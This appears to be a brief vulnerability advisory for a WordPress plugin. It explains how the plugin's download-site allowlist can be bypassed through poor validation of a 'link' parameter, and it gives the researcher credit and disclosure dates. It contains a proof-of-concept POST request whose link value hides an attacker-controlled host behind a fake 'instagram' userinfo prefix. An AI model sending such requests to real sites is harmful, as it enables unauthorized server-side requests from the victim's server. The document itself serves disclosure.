The plugin allows only specific popular websites to download images/files from, this can be bypassed due to the lack of good "link" parameter validation
POST /blog/wp-admin/admin-ajax.php HTTP/1.1 Host: target ... ... ... action=wsmd_user_download_request&link=http://instagram:[email protected]_SERVER/test&requestlink=
BYPASS
Raad Haddad of Cloudyrion GmbH
Raad Haddad of Cloudyrion GmbH
Yes
2022-07-12 (about 6 months ago)
2022-07-12 (about 6 months ago)
2022-08-22 (about 5 months ago)